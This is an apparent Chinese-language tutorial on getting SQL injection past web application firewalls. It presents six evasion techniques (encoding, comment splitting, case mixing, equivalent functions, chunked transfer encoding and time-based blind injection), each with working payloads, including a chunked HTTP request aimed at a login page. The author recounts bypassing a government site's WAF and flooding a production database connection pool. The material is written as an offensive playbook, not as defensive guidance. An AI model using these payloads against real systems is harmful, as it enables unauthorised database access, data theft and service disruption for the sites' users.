绕过思路总览:六脉神剑与实战心法

做SQL注入绕WAF这事儿,说白了就是一场猫鼠游戏。WAF是那只猫,我们是那只老鼠——但别忘了,老鼠也会进化。今天我把这些年积累的六种核心绕过思路,一次性给你讲透。

我个人习惯把这六招叫做「六脉神剑」。不是每招都管用,但总有一招能破防。你想想看,WAF本质上就是个规则引擎,它认的是模式。我们只要让它的模式匹配失效,它就瞎了。

核心思想:WAF识别的是「已知的恶意模式」,我们做的就是「把恶意模式变成它不认识的样子」。

1. 编码绕过:最基础的障眼法

编码绕过,说白了就是把SQL语句用各种编码方式伪装起来。WAF如果没做多层解码,它就认不出来。

常见的编码方式:

  • URL编码:' 变成 %27,把 空格 变成 %20
  • 十六进制编码:SELECT 写成 0x53454C454354
  • Unicode编码:union 写成 %75%6e%69%6f%6e
  • 双重编码: 先URL编码,再对百分号编码,比如 %25%32%37 代表 '

我的经验:有一次遇到一个WAF,它对单次URL编码检测很严,但对双重编码完全没反应。我试了三次才发现这个规律——嗯,有时候WAF的漏洞比应用本身还多。

# 原始注入
' UNION SELECT 1,2,3 --

# URL编码绕过
%27%20UNION%20SELECT%201%2C2%2C3%20--

# 十六进制绕过(针对某些数据库)
0x2720756e696f6e2073656c65637420312c322c33202d2d

2. 注释绕过:让WAF看不懂你的逻辑

注释绕过是我最喜欢的一招。为什么?因为它简单、有效,而且变化多端。

WAF在检测时,通常会先去掉注释再分析。但有些WAF处理注释的逻辑有bug,我们就可以利用这一点。

常用注释技巧:

  • 内联注释: /*!UNION*/ 这种写法在MySQL中会被执行,但WAF可能不认识
  • 多行注释拆分: UN/**/ION 把关键字拆开
  • 空注释: /**/ 插入到关键字中间,比如 S/**/ELECT
  • 混合注释: --+# 配合换行

避坑指南:我曾经在一个项目中用了内联注释 /*!50000SELECT*/,结果WAF没拦住,但数据库版本太低直接报错了。记住,内联注释后面的版本号不是摆设,要确认目标数据库版本。

# 内联注释绕过
/*!UNION*/ /*!SELECT*/ 1,2,3

# 关键字拆分
UN/**/ION SEL/**/ECT 1,2,3

# 换行+注释混合
id=1' UNION
/*
*/SELECT 1,2,3--

3. 大小写绕过:最笨但最有效

大小写绕过,听起来很low对吧?但你别小看它。很多WAF的规则只写了小写版本,或者只写了特定的大小写组合。

我记得有一次测试一个政府网站,WAF规则写得特别死,只拦截了 union select 全小写。我换成 UnIoN sElEcT,直接过了。你说这WAF是不是有点敷衍?

变化组合:

  • 全大写:UNION SELECT
  • 全小写:union select(这个通常被拦)
  • 大小写混合:UnIoN SeLeCt
  • 随机大小写:uNiOn sElEcT

小技巧:如果手动试大小写太累,可以用SQLMap的 --tamper="randomcase" 自动生成随机大小写。我一般先手动试两三种组合,不行再上工具。

4. 等价函数绕过:换个马甲继续干

WAF通常会拦截特定的函数名,比如 substring()sleep()。但SQL里实现同一个功能,往往有好几种写法。

常见等价替换:

原函数 等价替换
substring() mid()substr()left()right()
sleep() benchmark()waitfor delayheavy query
concat() concat_ws()group_concat()||(部分数据库)
if() case whenifnull()nullif()
ascii() ord()char()hex()
# 原版:时间盲注
' AND IF(ASCII(SUBSTRING((SELECT DATABASE()),1,1))>100,SLEEP(5),0)--

# 等价替换版
' AND IF(ORD(MID((SELECT DATABASE()),1,1))>100,BENCHMARK(5000000,MD5('x')),0)--

5. 分块传输绕过:把毒药分次喂

分块传输,这招比较高级。它利用HTTP协议的分块传输编码(Transfer-Encoding: chunked),把完整的SQL语句拆成多个小块发送。

WAF通常要等接收完整个请求才开始检测。但分块传输是边接收边处理,有些WAF在处理分块时会出现解析漏洞,导致检测失效。

实现方式:

  • 手动构造分块请求(用Burp Suite或Python脚本)
  • 使用SQLMap的 --tamper="chunked" 自动分块
  • 分块大小可以随机,增加检测难度

关键点:分块传输不是所有WAF都怕。我遇到过一些WAF,它们会先重组分块再检测,那就没用了。但大部分WAF在处理分块时确实存在漏洞,值得一试。

# 原始请求
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 45

user=admin' UNION SELECT 1,2,3--

# 分块传输请求
POST /login.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked

5
user=
5
admin
1
'
6
 UNION
7
 SELECT
3
 1,
3
 2,
3
 3
2
--
0

6. 延迟注入绕过:慢工出细活

延迟注入,也叫时间盲注。这招不是用来绕WAF的规则,而是用来绕WAF的「耐心」。

很多WAF有超时机制——如果请求处理时间超过某个阈值(比如10秒),WAF会直接放行或返回超时。我们可以利用这一点,让WAF以为请求「正常」但超时了。

具体做法:

  • 使用 SLEEP()BENCHMARK() 制造延迟
  • 延迟时间控制在WAF超时阈值附近(通常5-15秒)
  • 配合条件判断,只在特定条件下触发延迟

避坑指南:我曾经在一个生产环境用了10秒的SLEEP,结果WAF没拦住,但数据库连接池被打满了,导致正常用户也访问不了。记住,延迟注入要控制好时间,别把自己玩进去。

# 基础延迟注入
' OR SLEEP(5)--

# 条件延迟注入(只在猜对字符时延迟)
' OR IF(ASCII(SUBSTRING((SELECT DATABASE()),1,1))=100,SLEEP(5),0)--

# 使用BENCHMARK替代SLEEP(某些WAF会拦截SLEEP)
' OR IF(ASCII(SUBSTRING((SELECT DATABASE()),1,1))=100,BENCHMARK(5000000,MD5('x')),0)--

知识体系总览

这六种思路不是孤立的,实际攻防中往往需要组合使用。我画了一张图,帮你理清它们之间的关系:

SQL注入绕过WAF六脉神剑 SQL注入 绕过WAF 编码绕过 URL/Hex/Unicode 注释绕过 内联/拆分/空注释 大小写绕过 UnIoN SeLeCt 等价函数绕过 substr→mid 分块传输绕过 Chunked编码 延迟注入绕过 时间盲注 实际攻防中,建议组合使用2-3种绕过方式,效果更佳

这六种思路,说白了就是让WAF「认不出、看不懂、等不起」。编码和大小写是让WAF认不出,注释和等价函数是让WAF看不懂,分块传输和延迟注入是让WAF等不起。

我个人建议,在实际测试中先从最简单的开始——大小写和注释绕过。如果不行,再上编码和等价函数。分块传输和延迟注入属于进阶技巧,适合对付那些比较顽固的WAF。

记住,没有万能的绕过方式。每个WAF都有自己的脾气,多试几种组合,总有一种能破防。

专注资料整理